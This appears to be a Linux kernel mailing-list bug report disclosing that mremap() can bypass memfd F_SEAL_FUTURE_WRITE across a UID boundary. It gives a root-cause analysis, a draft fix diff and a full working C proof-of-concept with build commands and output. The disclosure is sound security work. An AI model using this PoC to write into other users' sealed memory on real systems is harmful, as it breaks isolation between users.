From: Junyoung Jang <graypanda.inzag@gmail.com>
To: Andrew Morton <akpm@linux-foundation.org>,
"Liam R . Howlett" <liam@infradead.org>,
Lorenzo Stoakes <ljs@kernel.org>, Hugh Dickins <hughd@google.com>,
David Hildenbrand <david@kernel.org>
Cc: Vlastimil Babka <vbabka@kernel.org>, Jann Horn <jannh@google.com>,
Pedro Falcato <pfalcato@suse.de>,
Baolin Wang <baolin.wang@linux.alibaba.com>,
linux-mm@kvack.org, linux-kernel@vger.kernel.org,
Junyoung Jang <graypanda.inzag@gmail.com>
Subject: mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication
Date: Sat, 7 Nov 2026 12:07:08 +0900 [thread overview]
Message-ID: <20261107030708.1031977-1-graypanda.inzag@gmail.com> (raw)
Hello,
I found a reproducible F_SEAL_FUTURE_WRITE seal-policy bypass. A process
holding a one-page shared writable memfd mapping created before the seal can
use mremap() after the seal to gain writable access to additional file pages.
In the accompanying two-UID reproducer, the second page belongs to a memfd
created by a different unprivileged user. While a new writable mmap() and
pwrite() to that second page both fail with -EPERM, the mremap() path
succeeds and modifies the page's contents.
Affected tree tested:
- Linux 7.4.0-rc1-gd48723711bae, built directly from upstream commit
d48723711bae9b8cdc56719c448ba42fef28cbee using x86_64_defconfig.
- A second image built from the same commit with the proposed mm/mremap.c
diff, reported by uname as 7.4.0-rc1-gd48723711bae-dirty.
- Each before/after pair was booted in QEMU with the same statically
linked C PoC.
Root cause:
The missing seal check is in mm/mremap.c:check_prep_vma() (lines 1808-1872
of the tested commit). mmap() calls memfd_check_seals_mmap() at
mm/mmap.c:499; for F_SEAL_FUTURE_WRITE, mm/memfd.c:384-385 rejects a
new shared writable mapping with EPERM. check_prep_vma() has no equivalent
check before it permits a larger mapping.
For the PoC's old_len=0 call, this condition at mm/mremap.c:1819 only
rejects duplication of a non-shared VMA:
if (!old_len && !vma_test_any(vma, VMA_SHARED_BIT, VMA_MAYSHARE_BIT)) {
It is false for the PoC's MAP_SHARED VMA. check_prep_vma() then checks
VMA bounds and expansion limits and returns 0 at mm/mremap.c:1872 without
checking vma->vm_file for write seals. For this zero-length call,
expand_vma() moves the VMA and reaches copy_vma_and_data(), which calls
copy_vma() with the larger new_len (mm/mremap.c:1293-1295):
new_vma = copy_vma(&vma, vrm->new_addr, vrm->new_len, new_pgoff,
new_anon_pgoff, &pmc.need_rmap_locks,
vrm->flags & MREMAP_DONTUNMAP);
copy_vma() can duplicate the original VMA and extend its range
(mm/vma.c:2052-2055), retaining VM_WRITE and VM_MAYWRITE. The newly
covered second memfd page is writable despite F_SEAL_FUTURE_WRITE.
Ordinary expansion with old_len=one page also succeeded on the unpatched
kernel. A read-only shared mapping with VM_MAYWRITE can likewise be
expanded and then changed to PROT_WRITE with mprotect().
Impact:
This allows a process to write to file pages outside its pre-seal mapping
across a UID boundary, affecting scenarios where a memfd owner grants
limited writable access to a specific range before sealing and relies on
F_SEAL_FUTURE_WRITE to prevent future writable mappings of other pages.
Reproducer summary:
1. Start as root only to set up two distinct unprivileged UIDs (10002 for
the owner, 10001 for the writer); both drop all capabilities.
2. UID 10002 creates a two-page memfd and initializes page two to 'A'.
3. UID 10002 passes the fd to UID 10001 via SCM_RIGHTS.
4. UID 10001 maps only page one with MAP_SHARED and PROT_WRITE.
5. UID 10002 adds F_SEAL_FUTURE_WRITE.
6. UID 10001 confirms a fresh writable mmap() of page two and pwrite() to it
both fail with -EPERM.
7. UID 10001 calls mremap(old_addr, 0, 2 * page_size, MREMAP_MAYMOVE),
writes 'Z' through the expanded mapping, and UID 10002 reads 'Z' back
from the second file page.
Build and run:
$ cc -O0 -g -Wall -Wextra -Werror -static memfd_future_write_mremap_poc.c -o poc
$ sudo ./poc
writer uid=10001; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=63
owner uid=10002; file page 2=Z; size=8192; result=255
Suggested fix direction:
I believe mremap() needs to check the memfd write seal before duplicating
(old_len=0) or expanding (new_len > old_len) a shared VMA that has
VM_MAYWRITE.
I tested the rough diff below in check_prep_vma() on the same commit and
confirmed that it blocks the reproducer (mremap fails with -EPERM). However,
I am sending this as a bug report rather than a formal [PATCH] because I am
unsure about potential side effects:
1. Because a PROT_READ shared mapping with VM_MAYWRITE could be expanded and
later made writable via mprotect(), the diff temporarily sets VMA_WRITE_BIT
on a local flags copy to force memfd_check_seals_mmap() to return -EPERM.
However, this rejects legitimate read-only mremap() expansions outright,
whereas mmap() would normally allow a read-only mapping and simply clear
VM_MAYWRITE.
2. I am not certain whether check_prep_vma() is the right place regarding
locking/synchronization against a concurrent F_ADD_SEALS call.
I would appreciate your guidance on the proper way to handle this, or feel
free to take it from here:
diff --git a/mm/mremap.c b/mm/mremap.c
index 70b7264aa..6ed390ed4 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -14,6 +14,7 @@
#include <linux/shm.h>
#include <linux/ksm.h>
#include <linux/mman.h>
+#include <linux/memfd.h>
#include <linux/swap.h>
#include <linux/capability.h>
#include <linux/fs.h>
@@ -1807,6 +1808,17 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
old_len = vrm->old_len;
new_len = vrm->new_len;
+ if (new_len > old_len && vma->vm_file &&
+ vma_test_all(vma, VMA_SHARED_BIT, VMA_MAYWRITE_BIT)) {
+ vma_flags_t flags = vma->flags;
+ int err;
+
+ /* A larger VMA could become writable via mprotect(). */
+ vma_flags_set(&flags, VMA_WRITE_BIT);
+ err = memfd_check_seals_mmap(vma->vm_file, &flags);
+ if (err)
+ return err;
+ }
/*
* !old_len is a special case where an attempt is made to 'duplicate'
Reproducer code (memfd_future_write_mremap_poc.c):
// SPDX-License-Identifier: GPL-2.0
/*
* Check whether a mapping created before F_SEAL_FUTURE_WRITE can be
* duplicated over a second page by a different UID after the seal.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <linux/capability.h>
#include <linux/memfd.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define OWNER_UID 10002
#define WRITER_UID 10001
static int drop_to(uid_t uid)
{
struct __user_cap_header_struct hdr = {
.version = _LINUX_CAPABILITY_VERSION_3, .pid = 0,
};
struct __user_cap_data_struct caps[2] = { { 0 }, { 0 } };
if (setgroups(0, NULL) || setresgid(uid, uid, uid) ||
setresuid(uid, uid, uid))
return -1;
if (getuid() != uid || geteuid() != uid ||
syscall(SYS_capget, &hdr, caps) ||
caps[0].effective || caps[1].effective)
return -1;
return 0;
}
static int send_fd(int sock, int fd)
{
char data = 'F';
char control[CMSG_SPACE(sizeof(fd))] = {};
struct iovec iov = { .iov_base = &data, .iov_len = 1 };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(fd));
memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
return sendmsg(sock, &msg, 0) == 1 ? 0 : -1;
}
static int recv_fd(int sock)
{
char data;
char control[CMSG_SPACE(sizeof(int))] = {};
struct iovec iov = { .iov_base = &data, .iov_len = 1 };
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
struct cmsghdr *cmsg;
int fd;
if (recvmsg(sock, &msg, 0) != 1 || data != 'F')
return -1;
cmsg = CMSG_FIRSTHDR(&msg);
if (!cmsg || cmsg->cmsg_level != SOL_SOCKET ||
cmsg->cmsg_type != SCM_RIGHTS ||
cmsg->cmsg_len != CMSG_LEN(sizeof(fd)))
return -1;
memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd));
return fd;
}
static int writer(int sock, size_t page)
{
char *old, *expanded;
char event;
int fd;
unsigned int result = 0;
if (drop_to(WRITER_UID) || getuid() != WRITER_UID)
return 1;
result |= 1;
fd = recv_fd(sock);
if (fd < 0)
return 2;
old = mmap(NULL, page, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (old == MAP_FAILED)
return 3;
result |= 2;
if (write(sock, "R", 1) != 1 || read(sock, &event, 1) != 1 ||
event != 'S')
return 4;
result |= 4;
void *fresh = mmap(NULL, page, PROT_READ | PROT_WRITE, MAP_SHARED,
fd, page);
if (fresh != MAP_FAILED) {
munmap(fresh, page);
fprintf(stderr, "writer: fresh writable mmap unexpectedly succeeded\n");
return 5;
}
if (errno != EPERM) {
fprintf(stderr, "writer: fresh writable mmap errno=%d\n", errno);
return 6;
}
result |= 8;
errno = 0;
ssize_t written = pwrite(fd, "X", 1, page);
if (written != -1 || errno != EPERM) {
fprintf(stderr, "writer: pwrite returned %zd errno=%d\n",
written, errno);
return 7;
}
result |= 16;
expanded = mremap(old, 0, 2 * page, MREMAP_MAYMOVE);
if (expanded == MAP_FAILED) {
fprintf(stderr, "writer: mremap errno=%d\n", errno);
return 8;
}
expanded[page] = 'Z';
result |= 32;
if (write(sock, "Z", 1) != 1)
return 9;
printf("writer uid=%u; mmap=EPERM; pwrite=EPERM; mremap write=Z; result=%u\n",
getuid(), result);
fflush(stdout);
munmap(expanded, 2 * page);
munmap(old, page);
close(fd);
return result == 63 ? 0 : 10;
}
int main(void)
{
int pair[2], fd, status;
char event, byte = 0;
struct stat st;
pid_t pid;
size_t page = sysconf(_SC_PAGESIZE);
unsigned int result = 0;
alarm(10);
if (geteuid() != 0)
return 77;
if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, pair))
return 1;
pid = fork();
if (pid < 0)
return 2;
if (!pid) {
close(pair[0]);
_exit(writer(pair[1], page));
}
close(pair[1]);
if (drop_to(OWNER_UID) || getuid() != OWNER_UID)
return 3;
result |= 1;
fd = memfd_create("seal-cross-uid", MFD_ALLOW_SEALING);
if (fd < 0 || ftruncate(fd, 2 * page) ||
pwrite(fd, "A", 1, page) != 1)
return 4;
result |= 2;
if (send_fd(pair[0], fd) || read(pair[0], &event, 1) != 1 ||
event != 'R')
return 5;
result |= 4;
if (fcntl(fd, F_ADD_SEALS, F_SEAL_FUTURE_WRITE))
return 6;
result |= 8;
if (write(pair[0], "S", 1) != 1)
return 7;
if (read(pair[0], &event, 1) != 1 || event != 'Z') {
if (waitpid(pid, &status, 0) == pid && WIFEXITED(status))
fprintf(stderr, "owner: writer exited %d before Z\n",
WEXITSTATUS(status));
return 7;
}
result |= 16;
if (pread(fd, &byte, 1, page) != 1 || byte != 'Z')
return 8;
result |= 32;
if (fstat(fd, &st) || st.st_size != (off_t)(2 * page))
return 9;
result |= 64;
if (waitpid(pid, &status, 0) != pid ||
!WIFEXITED(status) || WEXITSTATUS(status))
return 10;
result |= 128;
printf("owner uid=%u; file page 2=%c; size=%lld; result=%u\n",
getuid(), byte, (long long)st.st_size, result);
fflush(stdout);
return result == 255 ? 0 : 11;
}
Best regards,
Junyoung Jang <graypanda.inzag@gmail.com>
next reply other threads:[~2026-11-07 3:07 UTC|newest]
Thread overview: 6+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-11-07 3:07 Junyoung Jang [this message]
2026-11-07 13:17 ` mm/mremap: F_SEAL_FUTURE_WRITE can be bypassed via mremap() VMA expansion/duplication David Hildenbrand (Arm)
2026-11-07 15:19 ` Junyoung Jang
2026-11-07 18:16 ` David Hildenbrand (Arm)
2026-11-08 1:27 ` Junyoung Jang
2026-11-08 3:07 ` sashiko-bot
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20261107030708.1031977-1-graypanda.inzag@gmail.com \
--to=graypanda.inzag@gmail.com \
--cc=akpm@linux-foundation.org \
--cc=baolin.wang@linux.alibaba.com \
--cc=david@kernel.org \
--cc=hughd@google.com \
--cc=jannh@google.com \
--cc=liam@infradead.org \
--cc=linux-kernel@vger.kernel.org \
--cc=linux-mm@kvack.org \
--cc=ljs@kernel.org \
--cc=pfalcato@suse.de \
--cc=vbabka@kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.